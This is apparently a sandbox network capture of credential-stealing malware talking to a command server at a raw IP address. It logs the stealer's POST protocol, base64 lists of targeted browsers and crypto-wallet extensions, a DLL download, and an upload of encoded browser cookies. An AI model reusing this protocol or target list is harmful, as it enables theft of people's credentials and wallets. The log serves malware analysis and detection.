name="hwid"882CA784C95B340779059------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="build"doma------GCBKECAKFBGCAKECGIEH--
Oct 13, 2024 14:49:15.472271919 CEST	407	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:15 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 4e 6c 4e 54 45 78 4e 6d 51 7a 4e 7a 55 32 59 6d 49 34 4d 7a 68 6a 59 6a 52 6d 4e 54 6b 34 4f 57 55 35 4d 47 52 69 59 7a 4e 6a 4f 54 49 30 4d 7a 51 30 4d 6a 46 6d 4f 47 4e 6b 4e 54 55 32 59 7a 49 32 59 54 42 6a 59 57 59 7a 4d 32 46 6d 4f 44 4e 6b 59 57 49 78 5a 6a 46 6c 4d 7a 55 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YmNlNTExNmQzNzU2YmI4MzhjYjRmNTk4OWU5MGRiYzNjOTI0MzQ0MjFmOGNkNTU2YzI2YTBjYWYzM2FmODNkYWIxZjFlMzU3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 13, 2024 14:49:15.473932981 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJEBKJEGHJKECAAKJK Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="message"browsers------BGHJEBKJEGHJKECAAKJK--
Oct 13, 2024 14:49:15.704441071 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:15 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 13, 2024 14:49:15.704473019 CEST	124	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxc
Oct 13, 2024 14:49:15.834296942 CEST	388	IN	Data Raw: 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 45 64 59 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d Data Ascii: T3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQcm9kdWN0aW9uc1xQYWxlIE1vb25cUHJvZmlsZXN
Oct 13, 2024 14:49:15.835951090 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEHDHCFIJDBFHJJDBFH Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 48 44 48 43 46 49 4a 44 42 46 48 4a 4a 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 48 43 46 49 4a 44 42 46 48 4a 4a 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 48 43 46 49 4a 44 42 46 48 4a 4a 44 42 46 48 2d 2d 0d 0a Data Ascii: ------HIEHDHCFIJDBFHJJDBFHContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------HIEHDHCFIJDBFHJJDBFHContent-Disposition: form-data; name="message"plugins------HIEHDHCFIJDBFHJJDBFH--
Oct 13, 2024 14:49:16.066936970 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:15 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 13, 2024 14:49:16.066976070 CEST	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Oct 13, 2024 14:49:16.067167997 CEST	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Oct 13, 2024 14:49:16.067222118 CEST	224	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpn
Oct 13, 2024 14:49:16.067251921 CEST	1236	IN	Data Raw: 62 32 5a 72 59 32 70 72 5a 57 31 70 5a 47 6c 68 5a 57 4e 76 59 32 35 72 61 6d 56 6f 66 44 46 38 4d 48 77 77 66 46 52 6c 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 6c 71 61 57 35 6f 63 47 31 75 61 6d 5a 6d 59 32 39 6d 61 6d 39 75 59 6d Data Ascii: b2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGR
Oct 13, 2024 14:49:16.067284107 CEST	24	IN	Data Raw: 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 Data Ascii: Ym1wa3BpfDF8MHwwfFRyZXpv
Oct 13, 2024 14:49:16.067797899 CEST	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Oct 13, 2024 14:49:16.067853928 CEST	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Oct 13, 2024 14:49:16.067882061 CEST	248	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Oct 13, 2024 14:49:16.157851934 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHDBGHJKFIDHJJJEB Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="message"fplugins------ECAFHDBGHJKFIDHJJJEB--
Oct 13, 2024 14:49:16.388115883 CEST	335	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:16 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 13, 2024 14:49:16.408195972 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFCBFCBFBKEBFIDBKEC Host: 185.215.113.37 Content-Length: 6823 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 14:49:17.276902914 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 14:49:17.668684006 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 14:49:17.896109104 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 13, 2024 14:49:19.429049015 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHIIJDGHCBFIECBKEG Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------FBGHIIJDGHCBFIECBKEG--
